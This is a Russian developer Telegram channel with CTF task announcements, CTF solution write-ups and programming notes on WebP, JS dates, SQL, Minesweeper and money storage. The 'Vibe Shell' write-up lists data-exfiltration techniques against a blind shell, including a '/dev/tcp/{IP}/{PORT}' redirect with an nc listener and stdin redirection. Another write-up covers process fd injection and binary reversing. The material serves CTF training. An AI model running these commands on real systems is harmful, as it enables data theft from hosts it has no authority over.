БАГодельня
2.23K subscribers
190 photos
2 videos
128 links
Канал про разработку и безопасность: код, костыли, разбор задач, ревью и размышления.

Вещает руководитель отдела разработки: @ipatove
Download Telegram
Задача «Vibe Shell»

Продолжаем цикл коротких задачек! Новая задачка для вас — на неделю, до 00:00 по МСК 17 августа.

📖 Суть: очередной челлендж на нестандартную логику. Сначала разберитесь, что делать, а потом ищите решение. Доступен сервер, который отвечает только «успех» или «провал». Ваша цель — найти расположение и имя текстового файла с флагом и прочитать его содержимое.

❗️Подключение к серверу: nc ctf.owl-dev.ru 1337

❗️ Решения и флаги присылайте мне в ЛС: @ipatove.
Обсуждать задачу и искать коллективные решения можно в комментариях или в нашем чате.

📅 Решение опубликую: 16 августа в 12:00 по МСК.

🏆 Первый решивший — молодец! Топ-3 объявлю в комментариях к этому посту.

———
#⃣ #CTF #ЗадачиCTF #misc

🐞БАГодельня: Канал // Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
10🔥8🤔52
Обработка анимированных webp изображений

📖 Недавно в рабочем проекте на бекенде столкнулись с необходимостью обработки webp, которые содержат несколько кадров – анимированные картинки. Ранее анимацию передавалась через gif-ки, но прогресс не стоит на месте и теперь картинки двигаются и в формате webp. А также скоро и png будут содержать анимацию, недавно вышла новая спецификация, но это совсем свежее обновление и браузеры их еще толком не поддерживают – это проблема нас будущих. Пока нужно разобраться с webp.

Для обработки картинок чаще всего на сервере используется библиотека ImageMagick, с ней можно работать во многих языках бекенда. Но если напрямую, без специальных флагов, начать ресайзить анимированный webp, то картинка становится статичной – теряются кадры анимации, а иногда и вовсе ломается обработка. Поэтому сперва нужно определить, какого типа будем обрабатывать изображение: статичное или анимированные.

📌 Из спецификации webp узнаем, какую структуру имеют заголовки и как там указывается тип. Первые байта заголовка имеет следующую структуру:
– RIFF – магическое число (52 49 46 46), которое обозначает начало файла формата RIFF (Resource Interchange File Format)
– Далее четырехбайтовое целое число, указывающее размер всего файла минус первые восемь байт (52 49 46 46 + size)
– Следующее магическое число – (57 45 42 50), оно определяет формат файла webp
– Далее идет четыре байта VP8X, которые определяют особенности webp.
– И сразу после VP8X идет один байт, который как раз и указывают особенности картинки: анимация, альфа-канал и так далее
По битовой маске 17-го байта можно определить особенности картинки:
– 0b00000001 Есть альфа-канал (прозрачность)
– 0b00000010 Есть анимация
– 0b00000100 Есть EXIF-метаданные
– 0b00001000 Есть XMP-метаданные
– 0b00010000 Есть ICC-профиль


❗️ Также анимацию можно определить по заголовку ANIM, который обозначает в каком месте файла начинаются кадры анимации. Но в данном примере будет определять через битовую маску 17го байта.

📌 Теперь разберемся с ImageMagick. Ему для корректной работы с анимированными изображениями нужно передавать флаг -coalesce, тогда будут обработаны все кадры внутри изображения. А для оптимизации кадров можно использовать флаг -layers CompareAny. Таким образом для ресайза по ширине в 500 пикселей команда для ImageMagick будет такая:
magick anim.webp -coalesce -resize 500x -layers CompareAny output-anim.webp


👨‍💻 Всех вводных хватает и остается только написать код обработки, который определит тип webp(статичный или анимированный) и выполнит ресайз изображения. Код можно писать на любом языке, но под рукой был python, на нем приведу пример.

# Проверка, содержит webp анимацию или нет
def is_animated_webp(file_path):
with open(file_path, "rb") as f:
data = f.read(17)

# Проверяем сигнатуру анимированного WebP (RIFF + WEBPVP8X + ANIM)
is_riff = data.startswith(b'RIFF')
is_webp = data[8:12] == b'WEBP'
is_vp8x = data[12:16] == b'VP8X'
has_animation = (data[16] & 0b00000010) != 0 # Проверка флага анимации

return is_riff and is_webp and is_vp8x and has_animation


И функция для вызова ImageMagick, которая сделает ресайз изображения:
def resize_webp(input_path, output_path, target_width):
if is_animated_webp(input_path):
# Анимированный WebP: обрабатываем с учетом кадров
command = [
'magick',
input_path,
'-coalesce', # Восстанавливаем полные кадры
'-resize', f'{target_width}x', # Ресайз по ширине
'-layers', 'CompareAny', # Оптимизация анимации
output_path
]
else:
# Статичный WebP
command = [
'magick',
input_path,
'-resize', f'{target_width}x',
output_path
]

# Запускаем ImageMagick
subprocess.run(command, check=True)


На этом пока все, ждем теперь появления анимированного PNG, чтобы и с ним покопаться и разобраться, как обрабатывать.
76🔥6👍21
Задача категории OSINT «Отголосок прошлого»

📖 В комментариях и в личку несколько раз писали по поводу возможности задач категории OSINT – поиск решения по открытым источникам. Подобную уже пробовали решать – про аиста, но там все же был упор на разработку, писали бота для поиска по картам. А конкретно на osint-овские навыки еще не было ничего. Давайте попробуем, на сколько такая категория будет интересна.

К тому же немного автоматизируем сдачу флагов, чтобы не писать мне в личку, а можно было проверяться автоматически. Для осинтовских задач такое может пригодиться, поскольку флаг формируется из разных данных и не всегда понятно, на верном пути или еще далек от решения. Для автоматизации запущен простой бот в телеграм, все что он умеет, это принимать флаги и отвечать: успех или провал. И бонусом это поможет точнее видеть статистику по отправкам флагов и понимать на сколько интересны задачи, т.к. в личку не все пишут.

❗️ Описание задачи «Отголосок прошлого»:
Когда-то на этом месте стояло здание, где сейчас стоит фонтан. Власти настолько хотели демонтировать здание, что применяли взрывчатку, и даже, по некоторым сведениям, использовался танк.

Картинка для задания: скачать.
Флаг сдавать в формате: BugCTF{Building_Name}. Не чувствителен к регистру. Название здания на английском, два слова!

———

📌 Бот, который проверяет флаги: @BugMakersFlagsBot
Но вы, как и раньше, можете писать мне в лс и делиться решениями: @ipatove

🐞 Автор задачи: Дмитрий Кустовский из команды БАГодельня.
Решение этой задачи выйдет на следующей неделе.

🏆 Первый решивший — молодец! Погнали!

———
#⃣ #CTF #ЗадачиCTF #OSINT

🐞БАГодельня: Канал // Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
2🔥6🤔321
Задача «Vibe Shell». Решение

Решение задачки из поста от 10 августа: описание задачи.

❗️Сервер задачи будет работать еще завтра до 21:00. Можно опробовать способы решения из описания. Но если читаете пост позже, то можете запустить задачу локально, исходники и контейнер тут: github.

📖 Кратко суть задачи: есть доступ к серверу, который принимает ввод, а в ответ отдает сообщение только двух типов «Good Vibes» или «Bad Vibes». Нужно найти файл на сервере текстовый документ и прочитать текст из него.

Если немного поэкспериментировать и попробовать отправить разные команды, то становится понятно, что сервер принимает и пытается выполнить команды shell. Но вместо результата выполнения возвращается только статус успеха или провала выполнения.

😬 Задача задумывалась так, что расположение и имя файла, а также чтение его содержимого должны быть найдены с помощью перебора. Сперва по буквам найти путь к файлу, потом так же по одному символу считать содержимое. Но так решили не все, нашлось несколько интересных лазеек. И так даже интереснее.

1. Первое решение, которое задумывалось как основное, больше всего участников нашли, кто присылал решения в личку. Для поиска пути можно было написать скрипт, который подключится к серверу и по одному символу добавляет к пути в команде ls path/folder/secr*. В такой команде звездочка означает любое продолжение пути. Если сервер отвечает успехом, значит ищем следующий символ. Файл лежит по пути /home/ctfuser/secret.txt. Дале таким же перебором, по одному символу можно считать и содержимое файла, используя такую команду: cat /home/ctfuser/secret.txt | cut -c {position} | grep -q '{char}'. Где {position}, это позиция символа в файле, а {char} — это символ для сравнения.
Но такое решение не очень уж и интересное оказалось по сравнению со следующими, хотя и с помощью задуманной логики можно потренироваться скриптами подключаться к серверу и подумать над комбинациями команд для поиска и считывания результата.

2. Второе решение. В скрипте, который обрабатывает вызов команд в оболочке bin/bash, stdout и stderr были обработаны, данные от них посылались в dev/null. Но stdin остался открытым. Можно было перенаправить вывод результата выполнения команд в stdin с помощью >&0. Тогда решение сводится всего паре команд: проверить список файлов: ls -la >&0 и для чтения cat secret.txt >&0.

3. И третье решение, которое я прозевал и не обработал при составлении задачи, это запуск кода python. Такой трюк провернул все один человек, ну или не все написали в лс) Можно было отправить в консоль python3 -c "код", и сервер выполняет код. И уже дальше с помощью скрипта нужно просканировать папку, собрать данные и отправить их к себе на эндпоинт. А когда файл найдет, таким же образом прочитать данные и заслать их к себе на сервер для чтения.

4. Четвертое решение. Такое тоже только одно присылали. Можно перенаправить вывод на удаленный хост по TCP: cat secret.txt > /dev/tcp/{IP}/{PORT}
Чтобы принять данные, на машине-приемнике запускаем прослушивание порта, он выведет все, что приходит: nc -l -p {PORT}

❗️Спасибо, что делитесь решениями, присылаете их в личку. Всегда интересно посмотреть на альтернативные способы, а некоторые варианты даже удивляют и заставляют подумать над следующими реализациями, чтобы учитывать больше вариантов и обрабатывать их заранее.

📌 Объявление. Следующая задача будет запущена в среду (20 августа) в 20:00, чтобы не откладывать до выходных, но и успели вернуться с работы.

———
#⃣ #CTF #РазборыЗадач

🐞БАГодельня: Канал // Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍422
Социальный опрос в БАГодельне

❗️ Чтобы получше понять, какие посты интереснее и нет ли какого-то перекоса по формату, появилось несколько вопросов ко всем участникам канала. Следом выйдет два анонимных опроса, где можно выбрать по несколько вариантов ответов. Помогите прояснить интерес и понять, на сколько вообще тот или иной формат востребован. Возможно, какие-то корректировки стоит сделать. А то мне самому стало казаться, что появилась «пердозировка» задачками и их разборами.

❗️ Если есть, что добавить помимо опроса, то пишите в комментарий к посту , в группе-чатике или мне в личку @ipatove.

❤️ Заранее всем спасибо за ответы, и за то, что читаете, реагируете на посты и пробуете решать задачки.

⁉️ А теперь внимание, опрос!
👍63🔥1
Задача «Тихий страж»

📖 Новая задачка, которую можно решить двумя разными способами – реверсить бинарник или найти в системе стража и подобрать ключ к нему. Misc или Rev, можно попробовать и оба варианта или найти совсем другое, свое обходное решение, как уже делали ни раз с предыдущими задачами.

📌 Описание задачи:
В глубинах системы, затерянный среди множества других, дремлет одинокий процесс. Он не говорит и не слушает обычные пути. Его единственная цель — хранить тайну и ждать того, кто знает волшебное слово. Шепни ему на ухо правильную команду, и он откроет тебе свои секреты.

Подсказки:
1. Кодовая фраза где-то рядом... возможно, даже в самом бинарнике
2. Две предыдущие задачи, были "модифицированы" автором этой задачи точно таким же способом, и из-за этого в консоль выводились сообщения при подключении к серверу
3. Основная концепция Linux – "всё есть файл"

Команда для подключения:
UPD:
socat -,rawer,escape=0x1d OPENSSL:ctf.owl-dev.ru:1337,verify=0,no-sni=1
Пароль подключения: cEBzU3cwckQ=

nc ctf.owl-dev.ru 1337



Автор задачи: xof

❗️ Бот, который принимает флаги: @BugMakersFlagsBot
Также присылайте отзывы, вопросы, замечания и решения мне в личку @ipatove , в комментарии к посту или в наш чат, где можно обсуждать и коллективно решать.

📖 Решение этой задачи будет опубликовано в начале следующей недели.

🏆 Первый решивший — молодец! Погнали!

———
#⃣ #CTF #ЗадачиCTF #reverse

🐞БАГодельня: Канал // Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
35👍4🔥3
Приколы Date() в JS

📖 Пару раз в рабочих задачах спотыкались на строковом формате даты, который нужно преобразовать в объект даты на фронте в js. Решил сделать заметку и заодно получше разобраться в чем конкретно проблема. Но попутно нашел еще несколько интересных моментов, их тоже упомяну в посте.

😬 Проблема: в браузере Safari js функция new Date('2025.08.23') вернет «Invalid date», хотя во всех остальных браузерах это валидная строчка с датой, и такой код будет возвращать «Sat Aug 23 2025 00:00:00 GMT+0300». Если не знать этого нюанса, можно нарваться на неприятности и не сразу отловить проблему, поскольку мало кто пользуется Safari в качестве браузера для разработки, да и при отладке есть шанс его пропустить.

❗️Почему так? На самом деле это ошибка не Safari, а скорее разработчиков и остальных браузеров. В спецификации метода Date() описано, что он принимает строковые даты в форматах ISO 8601. А формат с разбиением чисел через точку, не подходит под ISO 8601. То есть валидные значения разделителя — это дефис. Правильный формат такой: new Date('2025-08-23'). Примечание: кроме дефиса, все браузеры так же поддерживают и обратный слеш: new Date('2025/08/23').

📌 Бонусом докину еще несколько «приколов» с Date, это уже особенности самого js, как он интерпретирует строки. Самые интересные:
new Date("0") // вернет 1 января 2000 года
new Date(0) // вернет 1 января 1970 года
new Date("maybe 1") // вернет 1 мая 2001 года


📌 Пока гуглил еще «особенности» работы Date, нашел интересный квиз – 28 вопросов по нестандартному поведению Date. Проверить свои навыки можно тут: https://jsdate.wtf А результаты кидайте в комментарии.

———
#⃣ #БазаЗнаний #JS

🐞БАГодельня: Канал // Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12👍521
Итоги CTF-задач августа и анонс новых

📖 За месяц мы запустили и порешали все вместе четыре задачи. Это немного, но и не мало. А судя по статистке ответов на опросы, которые были на прошлой неделе, стало понятно, что нужно немного сбавить обороты и не забывать про основную тематику – посты с разборами задач и материалами по разработке в целом. Да и мне самому выпускать по задаче в неделю не всегда удобно, одна задача из-за других дел, сползла на будний день, хотя изначально планировал публиковать их только по выходным. По активности решения, очевидно, что задачи в выходные дни гораздо активнее решаются.

❗️Поэтому новые задачи будут выходить только по выходным и немного реже – раз в две недели, чередуясь с разборами прошлых задач. Это поможет получше готовить задачи, чтобы не было промахов, как было с подключением, также появится время на подготовку задач из разных категорий – поискать референсы и идеи. И самое главное, что появится время на посты про разработку.
Чтобы было интереснее решать и появился дух соперничества, я планировал ввести небольшие призы, которые будут выдаваться по итогам месяца. Однако с новым графиком, раз в месяц нечего считать – всего две задачи. Поэтому символические призы будут за каждую задачку – за 1-3 места. Призы будут в виде звезд и премиума в телеграм, так проще всего отправлять призы.

Однако за август задания были каждую неделю и за них можно собрать турнирную таблицу. И выдать призы так, как изначально задумывалось. Про это не было анонса, поскольку не был уверен, что получится выпустить все четыре задачи и что вообще кто-то будет решать.

🎉 Результаты задач августа, публикую только Топ-3 участника из каждой задачи:

Jail / Задача «Побег с помощью Brainfuck» // Решение
🥇 Евгений Курмыса
🥈 xof
🥉 zzz3230

Misc / Задача «Vibe Shell» // Решение
🥇 Евгений Курмыса
🥈 zzz3230
🥉 xof

Osint / Задача «Отголосок прошлого» // Не будет разбора
🥇 nof
🥈 xof
🥉 Евгений Курмыса

Misc & Reverse / Задача «Тихий страж» // Решение 1 и Решение 2
🥇 Евгений Курмыса
🥈 нет решения
🥉 нет решения

Победители:
🥇 Евгений Курмыса – приз 6 мес премиума в телеграм
🥈 xof – приз 3 мес премиума в телеграм
🥉 zzz3230 – приз 3 мес премиума в телеграм

🎉 Призы уже разослал победителям.

Итоговые результаты считал по формуле: 1-е решение – 3 балла, 2-е – 2 балла, 3-е – 1 балл, 4 и ниже – 0.5 баллов
12👍9🔥31
Костылим со всей силы в sql-запросах

📖 Пару лет назад был пост с кодревью, где числовой постфикс к имени файла находился брутфорсом, перебирая все доступные имена. Освежить в памяти можно тут: Новая папка(123). Сегодня получилось реализовать тоже самое только с базой данных. Сперва не планировал писать, но задачка получилась интересная и не стандартная – костыль, который вряд ли кому-то пригодится в том виде, как он есть, однако показывает не самые стандартные возможности SQL.

📌 Что имеем? Есть таблица в БД mysql, куда пишутся записи с некоторыми данными, а одно из полей хранит уникальный ключ такого вида: keyname_123, где 123 – это инкремент для уникальности. Нужно узнать самый большой постфикс для ключа и добавить запись с ключом keyname_(N+1).
Важное примечание. В силу некоторых обстоятельств, сделать по-человечески, и вынести индекс ключа в отдельный столбец, и по нему уже делать выборку, в данном случае нельзя. Можем работать только с такой строкой.

📌 Как реализовано? С помощью while цикла делались запросы к таблице для проверки существования записи с ключом keyname_i, где i – инкремент от 0 и до конца, с увеличением на единицу. Цикл крутится, пока запрос к БД не вернет пустой ответ, это сигнализирует о найденном индексе ключа, который можно использовать для новой записи. В данном случае индексов может быть не много, не более десятка, но что может стать с проектом в будущем никто не знает, и такой поиск индекса будет серьезной проблемой при увеличении объемов. Да и в целом, перебор значений — это уж совсем крайний случай.

📌 Как сделать получше? А теперь несколько вариантов, как еще можно решить эту задачу, не мучая БД лишними запросами.

1. Так же перебором, но гонять в цикле не запросы к БД, а данные. Сделать запрос вида:
SELECT key_column 
FROM tbl_test
WHERE key_column LIKE 'kek_%';

Достаем все ключи и находим самый большой индекс. Такой вариант будет работать быстрее и меньше грузить БД на небольших объемах данных.

2. Для mysql 8.0+ версий можно написать запрос и регуляркой отрезать от ключа текстовую часть, оставив только числовой постфикс. И сразу же в запросе получить максимальное значение. То есть один запросом получаем сразу максимальный индекс. Запрос:
SELECT MAX(CONVERT(REGEXP_SUBSTR (key_column, '[0-9]+$'), INT)) AS max_prefix
FROM tbl_test
WHERE key_column like 'kek_%';


3. Для mysql ниже 8 версии, где нет поддержки REGEXP_SUBSTR, тоже можно реализовать запрос, как во втором примере, но через предварительный подсчет символов до числа. Запрос:
SELECT MAX(CAST(SUBSTRING(key_column, 5) AS UNSIGNED)) AS max_prefix
FROM tbl_test
WHERE key_column LIKE 'kek_%';


Если у кого есть еще идеи sql-запросов, кидайте в комментарии, может быть есть более простые или интересные варианты.

———
#️⃣ #sql #костыли

🐞БАГодельня: Канал // Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥5👍21
Задача «Тихий страж». Решение 1

Решение задачки из поста от 20 августа: описание задачи.
Подключение к серверу будет доступно еще все выходные, можно попробовать порешать после прочтения этого разбора.
Бинарник для тренировки реверса и его исходник можно скачать тут: github.

📖 Кратко суть задачи: есть доступ к серверу, где нужно найти флаг. При подключении сразу виден бинарник и скрипт, в котором описан запуск этого бинарника. Так же из условия задачи понятно, что нужно либо реверсить бинарный файл либо найти запущенный процесс и передать ему ключ.

📌 Первое решение. Через анализ системы и бинарника

В первую очередь после подключения к серверу смотрим, какие файлы нам доступны:
> ls -la
-rwxr-xr-x 1 ctfuser ctfuser 14072 Aug 20 20:18 ctf
-rwxr-xr-x 1 ctfuser ctfuser 56 Aug 20 20:17 entrypoint.sh

Из содержимого entrypoint.sh понимаем, что в системе скорее всего запущен бинарник ctf. Поэтому стоит проверить, работает он еще или нет:
> ps aux | grep ctf
8 ctfuser 0:00 ./ctf

И замечаем, что процесс запущен в системе, его PID = 8. Теперь нужно понять, что делает этот процесс и с чем взаимодействует. Одна из подсказок была, про то, что всё в linux – это файлы. Проверяем наш процесс с помощью lsof:
> lsof -p 8
8 /home/ctfuser/ctf 0 /dev/null
8 /home/ctfuser/ctf 1 pipe:[58609665]
8 /home/ctfuser/ctf 2 pipe:[58609666]
8 /home/ctfuser/ctf 4 pipe:[58608517]
8 /home/ctfuser/ctf 69 pipe:[58608517]

В ответе для нас самый интересный третий столбец, он хранит FD (File Descriptor) — числовой идентификатор, который процесс использует для работы с этим открытым файлом.
FD 0 — это стандартный ввод (stdin). FD 1 — вывод (stdout). FD 2 — вывод ошибок (stderr). А вот FD 4 и FD 69 — это дополнительные файловые дескрипторы. И они оба подключены к одному и тому же каналу (58608517). Поскольку по условию задачи нам нужно найти «Стража» и сказать передать ему правильную команду, то скорее всего какой-то из нестандартных FD настроен на чтение данных. И чтобы отправить строку процессу нужно записать строку через файловый дескриптор:
echo "строка" > /proc/$PID/fd/$FD, где $PID – это PID процесса, у нас это 8, а $FD – файловый дескриптор 4 или 69.

📌 Остается понять, какие данные нужно передать. Возвращаемся к условию задачи и там находим, что «Кодовая фраза где-то рядом... возможно, даже в самом бинарнике». Тут мы можем сделать дизассемблирование бинарника или сперва попробовать просто извлечь из него все доступные строки. Пробуем вариант попороще – извлекаем строки с помощью утилиты strings и анализируем содержимое:
> strings ./ctf
...
__libc_start_main
free
libc.musl-x86_64.so.1
__deregister_frame_info
ATUSH
|$xH
...
pipe
dup2
/flag
read
YnJ1aA==
d@Sn
;*3$"
GCC: (Alpine 14.2.0) 14.2.0
.shstrtab
...


Часть вывода я отрезал – там лишнее и заметил троеточием. В выводе замечаем несколько не стандартных строк – это /flag и YnJ1aA==. Вторая часть это base64 строка, раскодируем ее на всякий случай, получаем bruh. Но строка /flag больше всего подходит под «команду для стража», поскольку в начале строки есть слеш и в целом «flag» уже хранит намек. Пробуем отправить эту строку нашему стражу:
> echo "/flag" > /proc/8/fd/4
BugCTF{флаг-изменен-для-поста}


Сработало! Флаг получен. Это работает с fd 4 и 69, оба дескриптора принимают значение и отдают флаг, если строка с командой корректная.

❗️Второй способ решения – через реверсиинг бинарника, не влезает в этот пост, не хватает лимита телеграмм. Опубликую вечером вторым постом.

———
#⃣ #CTF #РазборыЗадач

🐞БАГодельня: Канал // Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍62👾1
Задача «Тихий страж». Решение 2

Решение задачки из поста от 20 августа: описание задачи
Бинарник для тренировки реверса и его исходник можно скачать тут: github.

📌 Второе решение. Полный реверсинг бинарника

Для реверса бинарника, его сперва нужно выкачать. Самый простой способ – это подключиться к серверу, закодировать файл ctf в base64, и полученную строку у себя на компьютере обратно сконвертировать в бинарник:
Кодируем: cat ./ctf | base64
Сохраняем бинарник: echo "строка_base64" | base64 -d > output_binary

Теперь нужно сделать дизассемблирование бинарника, для этого есть программы: бесплтаная Ghidra и IDA(платная и бесплатная версии). Обе программы работают примерно одинаково. Запускаем приложение и выбираем нужный бинарник, на выходе получаем список функций и их код, используемые данные, которые зашиты в бинарнике, а также получаем схему логики – ее кусочек на превью поста, это скрин из IDA.

Код бинарника после реверса отображается кодом ассемблера. Но ассемблер сложноват для восприятия, однако его можно перевести в си-подобный псевдокод. Конвертировать умеет и Ghidra и IDA – с этим нет проблем. Поэтому переводим код в си-подобный и смотрим, что происходит внутри бинарника.
Для тех, у кого нет установленных программ для реверса, залил самые интересные куски псевдокода в гитхаб: github. В репозитории полный код функций main и sub_1345, а также объект с данными .rodata – это статичные данные, которые хранятся внутри скомпилированного приложения, они нам тоже пригодятся.

Когда бинарник декомпилирован начинаем анализировать полученный код, первым делом находим точку входа – это функция start, там будет вызов функций с логикой, в данным случае это main. Внутри функции main сразу же находим нужный нам участок, вот самое интересное:
if ( !strcmp(buf, "/flag") )
{
v6 = (unsigned __int8 *)sub_1345(&unk_2030, 26, "YnJ1aA==", 8);
if ( v6 )
{
for ( i = 0; i != 26; ++i )
{
v8 = v6[i];
putchar(v8);
}
free(v6);
}
}

Псевдокод нормально читается, и из него становится ясно, что запущенный процесс ждет строку «/flag», которую мы передавали в первом варианте решения. Далее происходит какая-то обработка данных из переменной unk_2030 внутри функции sub_1345, а итоговый результат выводится в stdout.
Нужно теперь разобраться, что делает функция sub_1345 и найти значение переменной unk_2030. Анализируем код sub_1345:
_BYTE *__fastcall sub_1345(__int64 a1, size_t a2, __int64 a3, unsigned __int64 a4)
{
_BYTE *v8; // rdi
size_t v9; // rsi

v8 = malloc(a2);
v9 = 0;
do
{
v8[v9] = *(_BYTE *)(a1 + v9) ^ *(_BYTE *)(a3 + v9 % a4);
++v9;
}
while ( v9 < a2 );
return v8;
}


Это простая логика XOR-а, где байты ключа ксора используются по очереди и по кругу, если длина ключа короче зашифрованной строки. Если код не читается, то его можно переписать на более понятный – это нейронки хорошо умеют, но за ними нужно перепроверять. Один раз нарывался на то, что нейронка неправильно отформатировала код и потратил пол дня, пока не понял, что копаюсь с неправильным куском логики.

Теперь мы знаем, что для получения флага, нужно выполнить xor для значения из unk_2030 с ключом «YnJ1aA==». Ключ, кстати, был виден в первом решении, когда выполнялся strings для изучения бинарника.
Остается найти значение unk_2030 – оно хранится в .rodata, разбитое по байтам. Забираем его оттуда и выполняем преобразование xor-ом. Чтобы не считать ксор руками, можно написать простой скрипт, например, на питоне: скрипт / запустить. Раскодированная строка — это наш флаг. Победа!

❗️ Важный анонс
Следующая задача будет запущена 6 сентября в 12:00 по МСК. Категория web. За первые три решения будут призы: 3 месяца премиума в телеграм, 250 и 100 звезд. Не пропустите 😁

———
#⃣ #CTF #РазборыЗадач

🐞БАГодельня: Канал // Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
3🔥10👍41
Игра «Сапёр». Пример использования алгоритма DFS

📖 В прошлом году ездил в столицу на поезде и взял с собой ноутбук, но не скачал туда ничего посмотреть или послушать. В дороге без интернета скучно, и чтобы чем-то заняться, написал «Сапёра». Сама по себе игра не сложная в реализации, но есть один интересный момент. Когда игрок кликает по клетке с «нулем» – ячейка поля, в которой нет мин и во всех соседних клетках тоже пусто, то должна открыться сразу вся область поля соседствующими «нулями». То есть открывается часть поля, со всеми соседствующими клетками с нулями, пока не встретится граница или ячейка с цифрами (от 1 до 8, зависит от количества клеток-соседей с минами).

Если начать выдумывать свой алгоритм раскрытия поля с пустыми ячейками, то можно прилично закопаться в условиях и циклах. Именно этим я и занялся сперва – начал мудрить свой алгоритм. Но закопавшись в ветвлении логики, начал вспоминать алгоритмы, которые кроме как в тренировочных задачах, больше особо и не использовал раньше. Может быть, у кого-то в рабочих задачах и пригождаются алгоритмы каждый день, но я с ними пересекаюсь только во всяких учебных и тренировочных задачах или в описании статей. Поэтому нужный алгоритм пришел на ум не сразу и сперва занимался дурью с условиями и изобретал свое решение.

📌 Для такой задачи идеально подходит DFS – поиск по графу в глубину. Если кто понимает за асимптотику, то сложность этого алгоритма O(n), то есть линейная – время работы алгоритма линейно с увеличением размера входных данных. Это очень хороший показатель для алгоритма. Смысл алгоритма заключается в рекурсивном обходе всех соседей и сборе массива валидных координат. Так без лишних условий можно пробежаться по всем соседям и собрать нужные ячейки, которые будут открыты.
Для наглядности код алгоритма на примере поиска пустых ячеек в сапере:
function findAllEmptyCells(matrix, startY, startX) {
// Размер игрового поля
const rows = matrix.length;
const cols = matrix[0].length;
// Направления поиска соседей:
// Вверх, влево, вниз, вправо
const directions = [[-1,0], [0,-1], [1,0], [0,1]];
// Матрица посещённых клеток
const visited = [];
const result = [];

function dfs(y, x) {
// Проверка границ, значений из клеток соседей
// и актуальность посещения клетки
if (y < 0 || y >= rows || x < 0 || x >= cols || matrix[y][x] !== 0 || visited[y][x]) {
return;
}

// Помечаем ячейку как посещенную
visited[y][x] = true;
// Добавляем координаты в результат
result.push([y, x]);

// Рекурсивно проверяем всех соседей
for (const [dy, dx] of directions) {
dfs(y + dy, x + dx);
}
}

dfs(startY, startX);
return result;
}


📌 Для наглядности еще пример, как отработает алгоритм.
Допустим, у нас есть поле:
[1, 1, 1, 0]
[1, 0, 0, 1]
[0, 0, 1, 1]

При клике на ячейку [1,1] (значение 0), алгоритм найдет все связанные пустые ячейки и вернет матрицу координат этих нулей: [[1,1], [1,2], [2,0], [2,1]]
Решение получается очень простым и предсказуемым. Но чтобы его написать, нужно иметь в запасе какой-то набор базовых алгоритмов. Учить наизусть подобные алгоритмы нет смысла, но понимать, как они работают и знать про их существование не будет лишним. Учить наизусть только для собесов надо, на сколько я понимаю 😁. А в реальных задачах такое не часто встречается и достаточно просто знать и вовремя вспоминать, чтобы можно было нагуглить описание и применить. Это мое мнение, не призываю никого, если есть желание заучивать, то занимайтесь)

💣 Полный код сапера можно посмотреть в моем github, реализован на js.
А так же можно поиграть и потестить логику, билд тут: Сапёр.

❗️UPD:
В комментариях прислали пару интересных замечаний по механике игры. Внес правки – актуальное в репозитории и в рабочей версии игры. И заодно для примера переписал алгоритм поиска с DFS на BFS — можно сравнить по коммитам.

———
#⃣ #DFS #BFS #Алгоритмы #Сапер

🐞БАГодельня: Канал // Чат
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10🔥932
Запуск сайта с задачами

📖 В недавнем опросе по поводу тем постов и сложности задач, которые периодически публикуются тут в канале, мнения разделились – кому-то нужны полегче, а кому-то посложнее задачи. Но постить все подряд сюда в канал будет неудобно, вся лента только из задач и будет состоять, если публиковать и простые челенджи, а нужно еще оставить место и для основной тематики – заметки про разработку и разборы задач. А также хочется вести общий рейтинг по очкам участников за всю истории, и автоматизировать уведомления про первые три решения, это нужно для определения победителей в задачах с призами. Да и в целом, собрать все в одном месте будет удобнее, чем искать задачи по ленте в телеграм.

📌 Поэтому решено запустить сайт с коллекцией задач. Пока там постоянно будет находиться только такие задачи, которые не требуют отдельных инстансов на сервере и не отнимают много ресурсов. Но в будущем, если будет интерес, то может доработаем площадку.

Сайт уже заработал и там есть шесть задач – две старые, которые уже упоминались в канале и четыре новые. Можно переходить и решать: ссылка.
Две задачки из новых вчера ребята начали уже разбирать – в чате канала был предварительный анонс, а еще две совсем новые, они опубликованы одновременно с этим постом. Еще можно успеть решить первым!

📌 Новые задачи, которые еще не видели в канале:
– OSINT / Поездка: Беларусь
– OSINT / Смертельный интим
– STEGO / Комариный писк
– MISC / Лабиринт

Эти задачки прилично проще, чем те, что решали в канале, поэтому у всех есть возможность решить. Вперед!

❗️ Сайт с задачами: https://ctf.bug-makers.ru

———
#⃣ #CTF #Задачи

🐞БАГодельня: Канал // Чат // Задачи
Please open Telegram to view this post
VIEW IN TELEGRAM
10🔥1186
Как хранить и обрабатывать деньги?

❗️ Быстрый ответ на вопрос. Храните свои деньги в сберегательной кассе. А если это чужие деньги, то лучше их хранить в базе данных в полях с типами INTEGER, BIGINT, NUMERIC или специализированным типом Money, если его поддерживает СУБД. Но никак не в типах с плавающей точкой, это приведет к ошибкам и появлению лишнего или потере существующего баланса. Деньги обязательно должны храниться и обрабатываться только в целочисленных типах данных. А если нужны копейки, то число должно быть умножено на 100, а при необходимости форматированного вывода, достаточно обратно поделить на 100 и вывести целую и дробную части. Иногда можно гранить рубли и копейки в разных полях, но все также в целочисленных типах данных. Аналогично должна происходить и логика обработки в коде, а не только хранение.

📌 Для наглядности: 0.1 + 0.2 !== 0.3 – это условие вернет true. Например, в js 0.1 + 0.2 = 0.30000000000000004. В других языках ситуация такая же. Это небольшая погрешность, но при работе с крупными объемами данных и большим количеством операций над этими значениями, можно получить серьезную проблему.
Почему так происходит? Числа с плавающей точкой хранятся в двоичной системе исчисления по стандарту IEEE 754. Это не ошибка языка, а следствие того, что числа 0.1 и 0.2 являются бесконечными дробями в двоичной системе, так же как 1/3 (0.33333...) является бесконечной дробью в десятичной системе исчисления. То есть это нормальное поведение чисел и об этом нужно знать при работе с деньгами, иначе такой очень маленький(0.00000000000000004) «хвост» может вызвать кучу проблем.

